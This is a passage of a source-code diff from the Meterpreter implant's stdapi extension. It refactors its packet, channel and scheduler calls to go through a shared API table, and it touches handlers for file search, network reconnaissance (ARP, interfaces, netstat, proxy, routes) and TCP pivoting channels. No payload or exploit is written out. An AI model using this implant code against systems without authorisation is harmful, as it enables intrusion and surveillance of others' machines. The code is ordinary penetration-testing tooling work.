packet_create_response(pPacket); + pResponse = met_api->packet.create_response(pPacket); if (!pResponse) { dprintf("[SEARCH] request_fs_search: pResponse == NULL"); return ERROR_INVALID_HANDLE; } - options.rootDirectory = utf8_to_wchar( - packet_get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_ROOT)); + options.rootDirectory = met_api->string.utf8_to_wchar( + met_api->packet.get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_ROOT)); - options.glob = utf8_to_wchar( - packet_get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_GLOB)); + options.glob = met_api->string.utf8_to_wchar( + met_api->packet.get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_GLOB)); if (options.rootDirectory && wcslen(options.rootDirectory) == 0) { free(options.rootDirectory); @@ -829,7 +830,7 @@ DWORD request_fs_search(Remote * pRemote, Packet * pPacket) dprintf("[SEARCH] root: '%S' glob: '%S'", options.rootDirectory, options.glob); - options.bResursive = packet_get_tlv_value_bool(pPacket, TLV_TYPE_SEARCH_RECURSE); + options.bResursive = met_api->packet.get_tlv_value_bool(pPacket, TLV_TYPE_SEARCH_RECURSE); if (!options.glob) { options.glob = L"*.*"; @@ -870,7 +871,7 @@ DWORD request_fs_search(Remote * pRemote, Packet * pPacket) if (pResponse) { - dwResult = packet_transmit_response(dwResult, pRemote, pResponse); + dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse); } wds_shutdown(&WDSInterface); diff --git a/c/meterpreter/source/extensions/stdapi/server/general.c b/c/meterpreter/source/extensions/stdapi/server/general.c index fd6697f9..1da6945a 100644 --- a/c/meterpreter/source/extensions/stdapi/server/general.c +++ b/c/meterpreter/source/extensions/stdapi/server/general.c @@ -1,5 +1,7 @@ #include "precomp.h" +#include "common_metapi.h" + extern DWORD request_audio_output_channel_open(Remote *remote, Packet *packet); extern DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet); extern DWORD request_net_tcp_server_channel_open(Remote *remote, Packet *packet); @@ -34,17 +36,16 @@ DWORD request_general_channel_open(Remote *remote, Packet *packet) do { // Get the requested channel type - channelType = packet_get_tlv_value_string(packet, - TLV_TYPE_CHANNEL_TYPE); + channelType = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE); // No channel? Lame. if (!channelType) + { break; + } // Enumerate the channel type dispatch table searching for a match - for (index = 0; - channel_open_handlers[index].type; - index++) + for (index = 0; channel_open_handlers[index].type; index++) { if (!strcmp(channel_open_handlers[index].type, channelType)) { diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/arp.c b/c/meterpreter/source/extensions/stdapi/server/net/config/arp.c index 8915f74a..aa818666 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/config/arp.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/config/arp.c @@ -1,5 +1,7 @@ #include "precomp.h" +#include "common_metapi.h" + DWORD get_arp_table(Remote *remote, Packet *response) { PMIB_IPNETTABLE pIpNetTable = NULL; @@ -49,7 +51,7 @@ DWORD get_arp_table(Remote *remote, Packet *response) arp[2].header.length = (DWORD)strlen(interface_index) + 1; arp[2].buffer = (PUCHAR)interface_index; - packet_add_tlv_group(response, TLV_TYPE_ARP_ENTRY, arp, 3); + met_api->packet.add_tlv_group(response, TLV_TYPE_ARP_ENTRY, arp, 3); } } free(pIpNetTable); @@ -68,12 +70,12 @@ DWORD get_arp_table(Remote *remote, Packet *response) */ DWORD request_net_config_get_arp_table(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result; result = get_arp_table(remote, response); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/interface.c b/c/meterpreter/source/extensions/stdapi/server/net/config/interface.c index d4c0611b..c775a167 100755 --- a/c/meterpreter/source/extensions/stdapi/server/net/config/interface.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/config/interface.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include #include @@ -42,28 +43,28 @@ DWORD get_interfaces_mib(Remote *remote, Packet *response) // Enumerate the entries for (index = 0; index < table->dwNumEntries; index++) { - Packet* group = packet_create_group(); + Packet* group = met_api->packet.create_group(); - packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, table->table[index].dwIndex); - packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&table->table[index].dwAddr, sizeof(DWORD)); - packet_add_tlv_raw(group, TLV_TYPE_NETMASK, (PUCHAR)&table->table[index].dwMask, sizeof(DWORD)); + met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, table->table[index].dwIndex); + met_api->packet.add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&table->table[index].dwAddr, sizeof(DWORD)); + met_api->packet.add_tlv_raw(group, TLV_TYPE_NETMASK, (PUCHAR)&table->table[index].dwMask, sizeof(DWORD)); iface.dwIndex = table->table[index].dwIndex; // If interface information can get gotten, use it. if (GetIfEntry(&iface) == NO_ERROR) { - packet_add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)iface.bPhysAddr, iface.dwPhysAddrLen); - packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, iface.dwMtu); + met_api->packet.add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)iface.bPhysAddr, iface.dwPhysAddrLen); + met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, iface.dwMtu); if (iface.bDescr) { - packet_add_tlv_string(group, TLV_TYPE_MAC_NAME, iface.bDescr); + met_api->packet.add_tlv_string(group, TLV_TYPE_MAC_NAME, iface.bDescr); } } // Add the interface group - packet_add_group(response, TLV_TYPE_NETWORK_INTERFACE, group); + met_api->packet.add_group(response, TLV_TYPE_NETWORK_INTERFACE, group); } free(table); @@ -144,19 +145,19 @@ DWORD get_interfaces(Remote *remote, Packet *response) // Save the first prefix for later in case we don't have an OnLinkPrefixLength pPrefix = pCurr->FirstPrefix; - Packet* group = packet_create_group(); + Packet* group = met_api->packet.create_group(); dprintf("[INTERFACE] Adding index: %u", pCurr->IfIndex); - packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, pCurr->IfIndex); + met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, pCurr->IfIndex); dprintf("[INTERFACE] Adding MAC"); - packet_add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)pCurr->PhysicalAddress, pCurr->PhysicalAddressLength); + met_api->packet.add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)pCurr->PhysicalAddress, pCurr->PhysicalAddressLength); dprintf("[INTERFACE] Adding Description"); - packet_add_tlv_wstring(group, TLV_TYPE_MAC_NAME, pCurr->Description); + met_api->packet.add_tlv_wstring(group, TLV_TYPE_MAC_NAME, pCurr->Description); dprintf("[INTERFACE] Adding MTU: %u", pCurr->Mtu); - packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, pCurr->Mtu); + met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, pCurr->Mtu); for (pAddr = (IP_ADAPTER_UNICAST_ADDRESS_LH*)pCurr->FirstUnicastAddress; pAddr; pAddr = pAddr->Next) @@ -191,24 +192,24 @@ DWORD get_interfaces(Remote *remote, Packet *response) dprintf("[INTERFACE] Adding Prefix: %x", prefix); // the UINT value is already byte-swapped, so we add it as a raw instead of // swizzling the bytes twice. - packet_add_tlv_raw(group, TLV_TYPE_IP_PREFIX, (PUCHAR)&prefix, sizeof(prefix)); + met_api->packet.add_tlv_raw(group, TLV_TYPE_IP_PREFIX, (PUCHAR)&prefix, sizeof(prefix)); } if (sockaddr->sa_family == AF_INET) { dprintf("[INTERFACE] Adding IPv4 Address: %x", ((struct sockaddr_in *)sockaddr)->sin_addr); - packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr), 4); + met_api->packet.add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr), 4); } else { dprintf("[INTERFACE] Adding IPv6 Address"); - packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr), 16); - packet_add_tlv_raw(group, TLV_TYPE_IP6_SCOPE, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id), sizeof(DWORD)); + met_api->packet.add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr), 16); + met_api->packet.add_tlv_raw(group, TLV_TYPE_IP6_SCOPE, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id), sizeof(DWORD)); } } // Add the interface group - packet_add_group(response, TLV_TYPE_NETWORK_INTERFACE, group); + met_api->packet.add_group(response, TLV_TYPE_NETWORK_INTERFACE, group); } out: @@ -222,13 +223,13 @@ out: */ DWORD request_net_config_get_interfaces(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; result = get_interfaces(remote, response); // Transmit the response if valid - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return result; } diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c b/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c index 6d8da23f..5076c431 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c @@ -1,5 +1,7 @@ #include "precomp.h" +#include "common_metapi.h" + // Note: both connection_entry and connection_table were moved from // common.h into here because: // 1) connection_table contains a zero-length array which causes all C++ @@ -564,12 +566,14 @@ DWORD get_connection_table(Remote *remote, Packet *response) connection[6].header.length = (DWORD)strlen((char*)current_connection->program_name) + 1; connection[6].buffer = (PUCHAR)(current_connection->program_name); - packet_add_tlv_group(response, TLV_TYPE_NETSTAT_ENTRY, connection, 7); + met_api->packet.add_tlv_group(response, TLV_TYPE_NETSTAT_ENTRY, connection, 7); } dprintf("sent %d connections", table_connection->entries); if (table_connection) + { free(table_connection); + } return ERROR_SUCCESS; } @@ -579,12 +583,12 @@ DWORD get_connection_table(Remote *remote, Packet *response) */ DWORD request_net_config_get_netstat(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result; result = get_connection_table(remote, response); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/proxy_config.c b/c/meterpreter/source/extensions/stdapi/server/net/config/proxy_config.c index e5aa684f..8ec724dc 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/config/proxy_config.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/config/proxy_config.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" typedef struct { @@ -26,7 +27,7 @@ typedef BOOL (WINAPI * PWINHTTPGETIEPROXYCONFIGFORCURRENTUSER)( DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_NOT_SUPPORTED; - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HMODULE hWinHttp = NULL; PWINHTTPGETIEPROXYCONFIGFORCURRENTUSER pProxyFun = NULL; @@ -49,20 +50,20 @@ DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet) break; } - packet_add_tlv_bool(response, TLV_TYPE_PROXY_CFG_AUTODETECT, proxyConfig.fAutoDetect); + met_api->packet.add_tlv_bool(response, TLV_TYPE_PROXY_CFG_AUTODETECT, proxyConfig.fAutoDetect); if (proxyConfig.lpszAutoConfigUrl) { - packet_add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxyConfig.lpszAutoConfigUrl); + met_api->packet.add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxyConfig.lpszAutoConfigUrl); GlobalFree((HGLOBAL)proxyConfig.lpszAutoConfigUrl); } if (proxyConfig.lpszProxy) { - packet_add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXY, proxyConfig.lpszProxy); + met_api->packet.add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXY, proxyConfig.lpszProxy); GlobalFree((HGLOBAL)proxyConfig.lpszProxy); } if (proxyConfig.lpszProxyBypass) { - packet_add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxyConfig.lpszProxyBypass); + met_api->packet.add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxyConfig.lpszProxyBypass); GlobalFree((HGLOBAL)proxyConfig.lpszProxyBypass); } @@ -74,7 +75,7 @@ DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet) FreeLibrary(hWinHttp); } - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); return dwResult; } diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/route.c b/c/meterpreter/source/extensions/stdapi/server/net/config/route.c index 4b00495d..377e0f1b 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/config/route.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/config/route.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" DWORD add_remove_route(Packet *request, BOOLEAN add); @@ -7,7 +8,7 @@ DWORD add_remove_route(Packet *request, BOOLEAN add); */ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; DWORD index; DWORD metric_bigendian; @@ -62,7 +63,7 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) route[4].header.length = sizeof(DWORD); route[4].buffer = (PUCHAR)&metric_bigendian; - packet_add_tlv_group(response, TLV_TYPE_NETWORK_ROUTE, + met_api->packet.add_tlv_group(response, TLV_TYPE_NETWORK_ROUTE, route, 5); } @@ -73,7 +74,7 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) if(table_ipv6) free(table_ipv6); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -83,13 +84,13 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) */ DWORD request_net_config_add_route(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; result = add_remove_route(packet, TRUE); // Transmit the response packet - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -99,13 +100,13 @@ DWORD request_net_config_add_route(Remote *remote, Packet *packet) */ DWORD request_net_config_remove_route(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result; result = add_remove_route(packet, FALSE); // Transmit the response packet - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -121,9 +122,9 @@ DWORD add_remove_route(Packet *packet, BOOLEAN add) LPCSTR netmask; LPCSTR gateway; - subnet = packet_get_tlv_value_string(packet, TLV_TYPE_SUBNET_STRING); - netmask = packet_get_tlv_value_string(packet, TLV_TYPE_NETMASK_STRING); - gateway = packet_get_tlv_value_string(packet, TLV_TYPE_GATEWAY_STRING); + subnet = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_SUBNET_STRING); + netmask = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_NETMASK_STRING); + gateway = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_GATEWAY_STRING); memset(&route, 0, sizeof(route)); diff --git a/c/meterpreter/source/extensions/stdapi/server/net/net.c b/c/meterpreter/source/extensions/stdapi/server/net/net.c index ea5c70d0..0511f5b0 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/net.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/net.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include #include @@ -64,8 +65,8 @@ DWORD net_tlv_pack_local_addrinfo(SocketContext *sock_ctx, Packet *packet) return ERROR_OUTOFMEMORY; } - packet_add_tlv_string(packet, TLV_TYPE_LOCAL_HOST, localhost); - packet_add_tlv_uint(packet, TLV_TYPE_LOCAL_PORT, localport); + met_api->packet.add_tlv_string(packet, TLV_TYPE_LOCAL_HOST, localhost); + met_api->packet.add_tlv_uint(packet, TLV_TYPE_LOCAL_PORT, localport); free(localhost); localhost = NULL; return ERROR_SUCCESS; diff --git a/c/meterpreter/source/extensions/stdapi/server/net/resolve.c b/c/meterpreter/source/extensions/stdapi/server/net/resolve.c index 9b3fc44c..b8a7aeaf 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/resolve.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/resolve.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include #include @@ -59,14 +60,14 @@ DWORD resolve_host(LPCSTR hostname, u_short ai_family, struct in_addr *result, s DWORD request_resolve_host(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); LPCSTR hostname = NULL; struct in_addr addr; struct in6_addr addr6; u_short ai_family = AF_INET; int iResult; - hostname = packet_get_tlv_value_string(packet, TLV_TYPE_HOST_NAME); + hostname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_HOST_NAME); if (!hostname) { @@ -75,17 +76,17 @@ DWORD request_resolve_host(Remote *remote, Packet *packet) } else { - ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE); + ai_family = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE); iResult = resolve_host(hostname, ai_family, &addr, &addr6); if (iResult == NO_ERROR) { if (ai_family == AF_INET) { - packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr)); + met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr)); } else { - packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6)); + met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6)); } - packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family); + met_api->packet.add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family); } else { @@ -93,19 +94,19 @@ DWORD request_resolve_host(Remote *remote, Packet *packet) } } - packet_transmit_response(iResult, remote, response); + met_api->packet.transmit_response(iResult, remote, response); return ERROR_SUCCESS; } DWORD request_resolve_hosts(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); Tlv hostname = {0}; int index = 0; int iResult; - u_short ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE); + u_short ai_family = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE); - while( packet_enum_tlv( packet, index++, TLV_TYPE_HOST_NAME, &hostname ) == ERROR_SUCCESS ) + while( met_api->packet.enum_tlv( packet, index++, TLV_TYPE_HOST_NAME, &hostname ) == ERROR_SUCCESS ) { struct in_addr addr = {0}; struct in6_addr addr6 = {0}; @@ -116,19 +117,19 @@ DWORD request_resolve_hosts(Remote *remote, Packet *packet) { if (ai_family == AF_INET) { - packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr)); + met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr)); } else { - packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6)); + met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6)); } } else { dprintf("Unable to resolve_host %s error: %x", hostname.buffer, iResult); - packet_add_tlv_raw(response, TLV_TYPE_IP, NULL, 0); + met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, NULL, 0); } - packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family); + met_api->packet.add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family); } - packet_transmit_response(NO_ERROR, remote, response); + met_api->packet.transmit_response(NO_ERROR, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c b/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c index d3515908..94f19337 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c @@ -3,6 +3,7 @@ * @brief Definitions for functionality that handles TCP client operations. */ #include "precomp.h" +#include "common_metapi.h" #include "tcp.h" /*! @@ -119,7 +120,7 @@ DWORD tcp_channel_client_close(Channel *channel, Packet *request, LPVOID context free_tcp_client_context(ctx); // Set the native channel operations context to NULL - channel_set_native_io_context(channel, NULL); + met_api->channel.set_native_io_context(channel, NULL); } return ERROR_SUCCESS; @@ -187,7 +188,7 @@ DWORD tcp_channel_client_local_notify(Remote * remote, TcpClientContext * ctx) dprintf("[TCP] tcp_channel_client_local_notify. [closed] channel=0x%08X read=0x%.8x", ctx->channel, dwBytesRead); // Set the native channel operations context to NULL - channel_set_native_io_context(ctx->channel, NULL); + met_api->channel.set_native_io_context(ctx->channel, NULL); // Sleep for a quarter second Sleep(250); @@ -203,7 +204,7 @@ DWORD tcp_channel_client_local_notify(Remote * remote, TcpClientContext * ctx) if (ctx->channel) { dprintf("[TCP] tcp_channel_client_local_notify. [data] channel=0x%08X read=%d", ctx->channel, dwBytesRead); - channel_write(ctx->channel, ctx->remote, NULL, 0, buf, dwBytesRead, 0); + met_api->channel.write(ctx->channel, ctx->remote, NULL, 0, buf, dwBytesRead, 0); } else { @@ -230,7 +231,7 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet) { Channel *channel = NULL; TcpClientContext *ctx = NULL; - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; LPCSTR host; DWORD port; @@ -244,8 +245,8 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet) } // Extract the hostname and port that we are to connect to - host = packet_get_tlv_value_string(packet, TLV_TYPE_PEER_HOST); - port = packet_get_tlv_value_uint(packet, TLV_TYPE_PEER_PORT); + host = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_PEER_HOST); + port = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PEER_PORT); // Open the TCP channel if ((result = create_tcp_client_channel(remote, host, (USHORT)(port & 0xffff), &channel, &ctx)) != ERROR_SUCCESS) @@ -254,13 +255,13 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet) } // Set the channel's identifier on the response - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(channel)); net_tlv_pack_local_addrinfo(ctx, response); } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -355,7 +356,7 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d creating the channel", remoteHost, remotePort); // Allocate an uninitialized channel for associated with this connection - if (!(channel = channel_create_stream(0, 0, &chops))) + if (!(channel = met_api->channel.create_stream(0, 0, &chops))) { result = ERROR_NOT_ENOUGH_MEMORY; break; @@ -372,7 +373,7 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote WSAEventSelect(ctx->fd, ctx->notify, FD_READ | FD_CLOSE); dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d created the notify %.8x", remoteHost, remotePort, ctx->notify); - scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL); + met_api->scheduler.insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL); } } while (0); @@ -426,7 +427,7 @@ VOID free_socket_context(SocketContext *ctx) if (ctx->channel) { - channel_close(ctx->channel, ctx->remote, NULL, 0, NULL); + met_api->channel.close(ctx->channel, ctx->remote, NULL, 0, NULL); ctx->channel = NULL; } @@ -434,7 +435,7 @@ VOID free_socket_context(SocketContext *ctx) { dprintf("[TCP] free_socket_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->notify); // The scheduler calls CloseHandle on our WSACreateEvent() for us - scheduler_signal_waitable(ctx->notify, Stop); + met_api->scheduler.signal_waitable(ctx->notify, SchedulerStop); ctx->notify = NULL; } @@ -462,16 +463,16 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet) do { dprintf("[TCP] entering request_net_socket_tcp_shutdown"); - response = packet_create_response(packet); + response = met_api->packet.create_response(packet); if (!response) { BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. response == NULL", ERROR_NOT_ENOUGH_MEMORY); } - cid = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - how = packet_get_tlv_value_uint(packet, TLV_TYPE_SHUTDOWN_HOW); + cid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + how = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SHUTDOWN_HOW); - channel = channel_find_by_id(cid); + channel = met_api->channel.find_by_id(cid); if (!response) { BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. channel == NULL", ERROR_INVALID_HANDLE); @@ -479,7 +480,7 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet) dprintf("[TCP] request_net_socket_tcp_shutdown. channel=0x%08X, cid=%d", channel, cid); - ctx = channel_get_native_io_context(channel); + ctx = met_api->channel.get_native_io_context(channel); if (!ctx) { BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. ctx == NULL", ERROR_INVALID_HANDLE); @@ -498,7 +499,7 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet) } while (0); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); dprintf("[TCP] leaving request_net_socket_tcp_shutdown"); diff --git a/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c b/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c index 66b39d9d..2025e1c1 100755 --- a/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c @@ -3,6 +3,7 @@ * @brief */ #include "precomp.h" +#include "common_metapi.h" #include "tcp.h" #include @@ -40,13 +41,13 @@ VOID free_tcp_server_context(TcpServerContext * ctx) if (ctx->channel) { - channel_close(ctx->channel, ctx->remote, NULL, 0, NULL); + met_api->channel.close(ctx->channel, ctx->remote, NULL, 0, NULL); ctx->channel = NULL; } if (ctx->notify) { - scheduler_signal_waitable(ctx->notify, Stop); + met_api->scheduler.signal_waitable(ctx->notify, SchedulerStop); ctx->notify = NULL; } @@ -84,7 +85,7 @@ DWORD tcp_channel_server_close(Channel * channel, Packet * request, LPVOID conte free_tcp_server_context(ctx); // Set the native channel operations context to NULL - channel_set_native_io_context(channel, NULL); + met_api->channel.set_native_io_context(channel, NULL); } while (0); @@ -138,13 +139,13 @@ TcpClientContext * tcp_channel_server_create_client(TcpServerContext * serverCtx chops.native.write = tcp_channel_client_write; chops.native.close = tcp_channel_client_close; - clientctx->channel = channel_create_stream(0, 0, &chops); + clientctx->channel = met_api->channel.create_stream(0, 0, &chops); if (!clientctx->channel) { BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE); } - dwResult = scheduler_insert_waitable(clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL); + dwResult = met_api->scheduler.insert_waitable(clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL); } while (0); @@ -204,7 +205,7 @@ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx) BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_notify. accept failed"); } - dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", channel_get_id(serverCtx->channel), sock); + dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", met_api->channel.get_id(serverCtx->channel), sock); clientctx = tcp_channel_server_create_client(serverCtx, sock); if (!clientctx) @@ -245,20 +246,20 @@ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx) dprintf("[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport); - request = packet_create(PACKET_TLV_TYPE_REQUEST, "tcp_channel_open"); + request = met_api->packet.create(PACKET_TLV_TYPE_REQUEST, "tcp_channel_open"); if (!request) { - BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. packet_create failed", ERROR_INVALID_HANDLE); + BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. met_api->packet.create failed", ERROR_INVALID_HANDLE); } - packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(clientctx->channel)); - packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_PARENTID, channel_get_id(serverCtx->channel)); - packet_add_tlv_string(request, TLV_TYPE_LOCAL_HOST, localhost); - 